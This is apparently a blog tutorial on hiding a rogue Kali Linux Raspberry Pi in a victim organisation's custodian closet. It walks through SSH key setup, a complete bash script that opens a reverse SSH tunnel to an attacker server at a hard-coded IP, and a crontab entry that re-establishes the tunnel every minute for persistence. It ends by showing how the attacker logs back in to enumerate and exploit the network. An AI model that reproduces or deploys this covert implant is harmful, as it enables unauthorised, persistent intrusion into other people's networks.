visit
Note: Installing Kali Linux is beyond the scope of this document and the following instructions assume that Kali is installed and running with the default user of kali.
An unlocked custodian’s closet that doesn’t get used a lot is the site of our kalipi deployment. Three of the four ports seem to be connected, so we plugged into an empty one labeled ‘Office.’
Let's get started with generating the SSH keys so we don’t have to provide usernames and passwords each time the connection is made. Kalipi in the following diagram is our rogue device that will be dropped on a victim’s network.
Setting up SSH keys allows the kalipi to log into the attacking machine without providing a password. SSH keys allow us to automate the login process.
On the kalipi, type the following command to generate a public and private key.
$ ssh-keygen
$ ssh-copy-id [email protected]
$ ssh-agent $BASH$ ssh-add ~/.ssh/id_rsa
The way this works is that the kalipi (or the machine installed on the target network) needs to check to see if there is an active ssh connection, if not, then initiate an ssh connection to the attacking server. Persistence is important since once deployed, we will not have access to the hardware to make changes. So we need to get this right in our lab.
Create a bash shell script using your favorite editor called establish_ssh_connection.sh and add the following code. This script checks to see if an ssh process is running, if there is no process, then the script will try to establish a new one.
#!/usr/bin/bash
# Kali Turtle reverse ssh shell
# Replace USERNAME and IP with your info
now=$( date +%Y%m%d-%H%M-%S )
USERNAME=”slimedog”
IP=”66.175.216.41"
log=logs/ssh_log_file.txt
createTunnel() {
/usr/bin/ssh -N -R 2222:localhost:22 $USERNAME@$IP
if [[ $? -eq 0 ]]; then
echo $now “Tunnel to jumpbox created successfully “ $IP > $log
else
echo $now “Error: Host not found. “ $IP > $log
fi
}
/bin/pidof ssh
if [[ $? -ne 0 ]]; then
echo $now “Creating a new tunnel connection to: “ $IP > $log
createTunnel
fi
$ chmod 700 ./establish_ssh_connection.sh
$ ./establish_ssh_connection.sh
This example works great in our lab environment but what if we don’t have access to the kalipi console? We can automate the process of making the SSH connection through the Linux crontab command.
A cron job is a command run by the cron daemon at regularly scheduled intervals. To submit a cron job, specify the crontab command with the -e flag. The crontab command invokes an editing session that allows you to create a crontab file.
$ crontab -e
*/1 * * * * ~/home/kali/scripts/establish_ssh_connection.sh > log.txt 2>&1
The crontab entry runs the establish_ssh_connection.sh script once every minute. If there is no connection, cron runs the command again.
Once the rogue kalipi is deployed it's most likely that you do not have access to the secretly installed device to test for connectivity.
To check if the kalipi has made a successful ssh connection, use the netstat -lt command on the attacking computer to check the status of ssh connections. We are looking for an ssh connection to localhost:2222.
The first example shows that there is no active connection to localhost:2222 while the second screenshot shows a successful connection.
No Active SSH Connections on Port 2222
Active SSH Connection on Port 2222
Somehow, you’ve installed the kalipi on a victim’s network with nobody noticing and the hard part is done. The crontab entry and your establish_ssh_connection.sh script goes to work to establish a remote connection to our attacking machine.
The hacker can log in whenever he wants by creating a reverse shell.The attacking server waits for the kalipi to establish the ssh connection (which through our crontab entry happens every minute). When a connection is made, the hacker opens Port 2222 for a ssh connection. Connections to Port 2222 are then forwarded through the tunnel on the kalipi.
The hacker uses the following command to make a connection to the kalipi on the target network:
$ ssh -l kali -p 2222 localhost
You should see the kalipi login prompt.
kali@localhost's password: kali
You now are logged into the kalipi and can use all of the Kali tools to enumerate and exploit the network.
kali@kali:~$
This walkthrough works well in our lab environment. Remember, once kalipi is deployed, you will not have access and need to automate the process through a shell script and a cron job. Do your homework and make sure everything works before deploying your tool.